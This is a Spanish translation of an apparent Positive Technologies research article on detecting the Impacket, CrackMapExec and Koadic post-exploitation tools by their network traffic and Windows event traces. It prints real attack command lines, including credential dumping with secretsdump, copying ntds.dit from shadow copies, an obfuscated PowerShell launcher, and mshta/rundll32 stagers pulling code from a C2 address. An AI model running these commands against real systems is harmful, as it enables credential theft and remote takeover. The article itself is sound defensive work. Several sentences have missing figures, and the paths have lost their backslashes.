Cada año aumenta la cantidad de ataques en el sector corporativo: por ejemplo, que en 2016, y al final de 2018 — , que en el período anterior. Incluyendo aquellos en los que la herramienta principal de trabajo es el sistema operativo Windows. En 2017-2018, los grupos APT Dragonfly, APT28, realizaron ataques contra organizaciones gubernamentales y militares en Europa, América del Norte y Arabia Saudita. Y utilizaron para ello tres herramientas — , y . Su código fuente está abierto y disponible en GitHub.
Cabe destacar que estas herramientas no se utilizan para la penetración inicial, sino para el desarrollo del ataque dentro de la infraestructura. Los atacantes las utilizan en diferentes etapas del ataque, que siguen después de haber superado el perímetro. Esto, dicho sea de paso, es difícil de detectar y a menudo solo se realiza mediante tecnologías o herramientas que permiten . Las herramientas ofrecen una variedad de funciones, desde la transferencia de archivos hasta la interacción con el registro y la ejecución de comandos en la máquina remota. Realizamos un estudio sobre estas herramientas para determinar su actividad en la red.
Lo que necesitábamos hacer:
- Comprender cómo funciona el kit de herramientas de los hackers.Descubrir qué necesitan los atacantes para explotar y qué tecnologías pueden utilizar.
- Encontrar lo que no es detectado por los medios de seguridad de la información en las primeras etapas del ataque.La fase de reconocimiento puede ser omitida, ya sea porque el atacante es un delincuente interno o porque está aprovechando una vulnerabilidad en la infraestructura que no se conocía anteriormente. Surge la posibilidad de reconstruir toda la cadena de sus acciones, y de ahí nace el deseo de detectar su movimiento posterior.
- Eliminar las falsas alarmas de los sistemas de detección de intrusiones.No se debe olvidar que al detectar ciertas acciones basadas únicamente en inteligencia puede haber errores frecuentes. Generalmente, en la infraestructura existen suficientes maneras, que a primera vista parecen legítimas, de obtener información.
¿Qué le brindan estas herramientas a los atacantes? Si se trata de Impacket, los delincuentes obtienen una gran biblioteca de módulos que se pueden usar en diferentes etapas del ataque, que siguen después de superar el perímetro. Muchas herramientas utilizan módulos de Impacket internamente, como Metasploit. Este incluye dcomexec y wmiexec para la ejecución remota de comandos, secretsdump para obtener cuentas de la memoria, que han sido añadidas desde Impacket. Al final, la correcta detección de la actividad de tal biblioteca garantizará también la detección de sus derivados.
Sobre CrackMapExec (o simplemente CME), los creadores no escribieron por casualidad "Powered by Impacket". Además, CME tiene funcionalidad lista para escenarios populares: incluye Mimikatz para obtener contraseñas o sus hashes, y la implementación de Meterpreter o el agente Empire para ejecución remota, además de Bloodhound integrado.
La tercera herramienta que elegimos es Koadic. Es bastante nueva, fue presentada en la conferencia internacional de hackers DEFCON 25 en 2017 y se distingue por su enfoque no convencional: opera a través de HTTP, JavaScript y Microsoft Visual Basic Script (VBS). Este enfoque se denomina living off the land: la herramienta utiliza un conjunto de dependencias y bibliotecas integradas en Windows. Sus creadores la denominan COM Command & Control, o C3.
IMPACKET
La funcionalidad de Impacket es muy amplia, abarcando desde la inteligencia dentro de Active Directory y la recolección de datos de los servidores internos de MS SQL, hasta técnicas para obtener credenciales: incluye ataques de SMB relay y la obtención del archivo ntds.dit desde el controlador de dominio, que contiene los hashes de las contraseñas de los usuarios. Impacket también puede ejecutar comandos de forma remota, utilizando cuatro métodos diferentes: a través de WMI, el servicio para gestionar el programador de Windows, DCOM y SMB, y para esto necesita credenciales.
Secretsdump
Examinemos secretsdump. Este es un módulo que puede tener como objetivo tanto máquinas de usuarios como controladores de dominio. Con él, se pueden obtener copias de las áreas de memoria LSA, SAM, SECURITY, NTDS.dit, por lo que puede verse en diferentes etapas de un ataque. El primer paso al utilizar el módulo es la autenticación a través de SMB, para la cual se necesita ya sea la contraseña del usuario o su hash para realizar automáticamente un ataque Pass the Hash. A continuación, se solicita la apertura de acceso al Service Control Manager (SCM) y la obtención de acceso al registro mediante el protocolo winreg, que permite al atacante conocer datos de las claves que le interesan y obtener resultados a través de SMB.
En la figura 1 vemos cómo se produce el acceso a la clave del registro mediante el protocolo winreg. Para esto se utiliza el comando DCERPC con el opcode 15 — OpenKey.

Figura 1. Apertura de una clave del registro mediante el protocolo winreg
Luego, una vez obtenido el acceso a la clave, se guardan los valores con el comando SaveKey y el opcode 20. Impacket lo realiza de manera bastante específica. Guarda los valores en un archivo, cuyo nombre es una cadena de 8 caracteres aleatorios con la adición de .tmp. Además, la descarga posterior de este archivo se lleva a cabo a través de SMB desde el directorio System32 (figura 2).

Figura 2. Esquema para la obtención de una clave del registro desde una máquina remota
Así que, es posible detectar este tipo de actividad en la red a través de solicitudes a ciertas ramas del registro mediante el protocolo winreg, nombres específicos, comandos y su secuencia.
También, este módulo deja huellas en el registro de eventos de Windows, lo que facilita su detección. Por ejemplo, como resultado de ejecutar el comando
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCen el registro de Windows Server 2016 veremos la siguiente secuencia clave de eventos:
1. 4624 — inicio de sesión remoto.
2. 5145 — comprobación de derechos de acceso al servicio remoto winreg.
3. 5145 — comprobación de derechos de acceso al archivo en el directorio System32. El archivo tiene un nombre aleatorio, mencionado anteriormente.
4. 4688 — creación del proceso cmd.exe que ejecuta vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — creación de un proceso con el comando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — creación de proceso con comando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — creación de proceso con comando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Al igual que muchas herramientas de post-explotación, Impacket tiene módulos para la ejecución remota de comandos. Nos centraremos en smbexec, que proporciona una consola de comandos interactiva en la máquina remota. Para este módulo también se requiere autenticación a través de SMB, ya sea con contraseña o con su hash. En la figura 3 vemos un ejemplo de cómo funciona esta herramienta, en este caso es la consola del administrador local.

Fig. 3. Consola interactiva de smbexec
La primera etapa del funcionamiento de smbexec después de la autenticación es abrir SCM con el comando OpenSCManagerW (15). La solicitud es notable: en ella, el campo MachineName tiene el valor DUMMY.

Fig. 4. Solicitud para abrir el Service Control Manager
A continuación, se crea un servicio usando el comando CreateServiceW (12). En el caso de smbexec, podemos observar que siempre sigue la misma lógica para construir el comando. En la figura 5, los parámetros inmutables del comando están marcados en verde, y en amarillo, lo que el atacante puede modificar. No es difícil notar que se pueden cambiar el nombre del archivo ejecutable, su directorio y el archivo de salida, pero es mucho más complicado cambiar lo restante sin alterar la lógica del módulo Impacket.

Fig. 5. Solicitud para crear un servicio utilizando el Service Control Manager
Smbexec también deja huellas claras en el registro de eventos de Windows. En el registro de Windows Server 2016 para una consola de comandos interactiva con el comando ipconfig, veremos la siguiente secuencia clave de eventos:
1. 4697 — instalación de servicio en la máquina víctima:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — creación de proceso cmd.exe con argumentos del punto 1.
3. 5145 — verificación de permisos de acceso al archivo __output en el directorio C$.
4. 4697 — instalación de servicio en la máquina víctima.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — creación del proceso cmd.exe con argumentos del punto 4.
6. 5145 — comprobación de los derechos de acceso al archivo __output en el directorio C$.
Impacket es la base para el desarrollo de herramientas para ataques. Soporta casi todos los protocolos en la infraestructura de Windows y tiene sus características distintivas. Aquí se incluyen consultas winreg específicas, el uso de la API SCM con formación característica de comandos, el formato de los nombres de archivos y el recurso compartido SMB SYSTEM32.
CRACKMAPEXEC
La herramienta CME está diseñada principalmente para automatizar las acciones rutinarias que un atacante debe realizar para avanzar dentro de una red. Permite trabajar en conjunto con los conocidos Empire agent y Meterpreter. Para ejecutar comandos de forma encubierta, CME puede ofuscar dichos comandos. Utilizando Bloodhound (una herramienta independiente para la recolección de inteligencia), un atacante puede automatizar la búsqueda de sesiones activas del administrador de dominio.
Bloodhound
Bloodhound, como herramienta independiente, permite realizar inteligencia avanzada dentro de la red. Recoge datos sobre usuarios, máquinas, grupos, sesiones y se proporciona en forma de script de PowerShell o archivo binario. Para la recopilación de información se utilizan LDAP o protocolos basados en SMB. El módulo de integración CME permite cargar Bloodhound en la máquina víctima, ejecutarlo y obtener los datos recopilados tras su ejecución, automatizando así las acciones en el sistema y haciéndolas menos perceptibles. La interfaz gráfica de Bloodhound presenta los datos recopilados en forma de gráficos, lo que permite encontrar el camino más corto desde la máquina del atacante hasta el administrador de dominio.

Fig. 6. Interfaz de Bloodhound
Para ejecutarse en la máquina víctima, el módulo crea una tarea utilizando ATSVC y SMB. ATSVC es la interfaz para trabajar con el programador de tareas de Windows. CME utiliza su función NetrJobAdd (1) para crear tareas a través de la red. Un ejemplo de lo que envía el módulo CME se muestra en la fig. 7: es una llamada al comando cmd.exe y el código ofuscado en forma de argumentos en formato XML.

Fig. 7. Creación de tarea a través de CME
Después de que la tarea es enviada para ejecución, la máquina víctima inicia Bloodhound, y esto se puede ver en el tráfico. El módulo caracteriza por consultas LDAP para obtener grupos estándar, una lista de todas las máquinas y usuarios en el dominio, y por obtener información sobre sesiones activas de usuario a través de la consulta SRVSVC NetSessEnum.

Fig. 8. Obtención de la lista de sesiones activas a través de SMB
Además, ejecutar Bloodhound en la máquina víctima con la auditoría habilitada genera un evento con ID 4688 (creación de proceso) y nombre de proceso "C:WindowsSystem32cmd.exe". Lo notable son los argumentos de la línea de comandos:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
Es bastante interesante en términos de funcionalidad y la implementación del módulo enum_avproducts. WMI permite, a través del lenguaje de consultas WQL, obtener datos de varios objetos de Windows, lo que este módulo CME utiliza. Genera consultas a las clases AntiSpywareProduct y AntiМirusProduct sobre los medios de protección instalados en la máquina víctima. Para obtener los datos requeridos, el módulo se conecta al espacio de nombres rootSecurityCenter2, luego forma una consulta WQL y recibe una respuesta. En Fig. 9 se muestra el contenido de dichas consultas y respuestas. En nuestro ejemplo, se encontró Windows Defender.

Fig. 9. Actividad de red del módulo enum_avproducts
A menudo, la auditoría de WMI (Trace WMI-Activity), en cuyos eventos se puede encontrar información útil sobre las consultas WQL, puede estar desactivada. Pero si está habilitada, al ejecutar el script enum_avproducts se guardará un evento con ID 11. Este contendrá el nombre del usuario que envió la solicitud y el nombre en el espacio de nombres rootSecurityCenter2.
Cada uno de los módulos CME tiene sus propios artefactos, ya sean consultas WQL específicas o la creación de un tipo particular de tarea en el programador de tareas con ofuscación y la actividad característica de Bloodhound en LDAP y SMB.
KOADIC
Una característica distintiva de Koadic es el uso de los intérpretes de JavaScript y VBScript integrados en Windows. En este sentido, sigue la tendencia de living off the land — es decir, no tiene dependencias externas y utiliza los recursos estándar de Windows. Es una herramienta para un completo Command & Control (CnC), ya que tras la infección se instala un "implante" en la máquina, permitiendo su control. Esta máquina, en la terminología de Koadic, se llama "zombi". Al carecer de privilegios para operar plenamente del lado de la víctima, Koadic tiene la capacidad de elevarlos, utilizando técnicas de evasión de control de cuentas (UAC bypass).

Fig. 10. Shell de comandos Koadic
La víctima debe iniciar la comunicación con el servidor Command & Control. Para ello, debe dirigirse a un URI previamente preparado y obtener el cuerpo principal de Koadic mediante uno de los stageadores. La figura 11 muestra un ejemplo para el stageador mshta.

Figura 11. Inicialización de la sesión con el servidor CnC.
La variable WS de la respuesta indica que la ejecución se realiza a través de WScript.Shell, y las variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contienen información clave sobre los parámetros de la sesión actual. Esta es la primera pareja de solicitud-respuesta en la conexión HTTP con el servidor CnC. Las solicitudes posteriores están directamente relacionadas con la funcionalidad de los módulos (implantes) llamados. Todos los módulos de Koadic funcionan solo con una sesión activa con CnC.
Mimikatz
Así como CME trabaja con Bloodhound, Koadic trabaja con Mimikatz como un programa separado y tiene varias formas de ejecutarlo. A continuación, se presenta un par de solicitudes-respuestas para cargar el implante Mimikatz.

Figura 12. Transferencia de Mimikatz a Koadic.
Se puede notar cómo ha cambiado el formato del URI en la solicitud. Ahora incluye un valor para la variable csrf, que corresponde al módulo seleccionado. No se preocupe por su nombre; todos sabemos que CSRF generalmente se refiere a otra cosa. En la respuesta, se recibió el mismo cuerpo principal de Koadic, al que se le agregó código relacionado con Mimikatz. Es bastante extenso, así que revisaremos los puntos clave. Ante nosotros hay una biblioteca Mimikatz codificada en base64, una clase .NET serializada que la inyectará, y argumentos para ejecutar Mimikatz. El resultado de la ejecución se transmite a través de la red en texto claro.

Figura 13. Resultado de la ejecución de Mimikatz en la máquina remota.
Exec_cmd
Koadic también tiene módulos capaces de ejecutar comandos de forma remota. Aquí veremos el mismo método de generación de URI y las conocidas variables sid y csrf. En el caso del módulo exec_cmd, el cuerpo incluye código que puede ejecutar comandos de shell. A continuación se muestra dicho código que se encuentra en la respuesta HTTP del servidor CnC.

Figura 14. Código del implante exec_cmd.
La variable GAWTUUGCFI con el atributo WS conocido es necesaria para ejecutar el código. Con ella, el implante llama al shell, procesando dos ramas de código: shell.exec con el retorno del flujo de salida de datos y shell.run sin retorno.
Koadic no es una herramienta típica, pero tiene sus artefactos, por los cuales se puede identificar en el tráfico legítimo:
- formación especial de solicitudes HTTP,
- uso de API winHttpRequests,
- creación del objeto WScript.Shell a través de ActiveXObject,
- cuerpo ejecutable grande.
La conexión inicial inicia el pegado, por lo que hay una posibilidad de detectar su actividad a través de eventos de Windows. Para mshta, este evento 4688 indica la creación de un proceso con el atributo de lanzamiento:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6Durante la ejecución de Koadic, se pueden ver otros eventos 4688 con atributos que lo caracterizan perfectamente:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Conclusiones
La tendencia de 'living off the land' está ganando popularidad entre los delincuentes. Utilizan herramientas y mecanismos integrados en Windows para sus fines. Observamos cómo herramientas populares como Koadic, CrackMapExec e Impacket, que siguen este principio, aparecen con mayor frecuencia en informes de APT. El número de bifurcaciones en GitHub de estas herramientas también está aumentando, apareciendo muchas nuevas (ahora hay alrededor de mil). Esta tendencia está ganando popularidad debido a su simplicidad: los delincuentes no necesitan herramientas de terceros, ya están en las máquinas de las víctimas y ayudan a eludir las medidas de protección. Nos estamos enfocando en estudiar la interacción de red: cada herramienta descrita anteriormente deja rastros en el tráfico de red; su estudio detallado nos ha permitido enseñar a nuestro producto a detectarlos, lo que, en última instancia, ayuda a investigar toda la cadena de ciberincidentes en los que están involucrados.
Autores:
- Antón Tyurin, jefe del departamento de servicios de expertos, PT Expert Security Center, Positive Technologies
- Egor Podmokov, experto, PT Expert Security Center, Positive Technologies
Fuente: habr.com
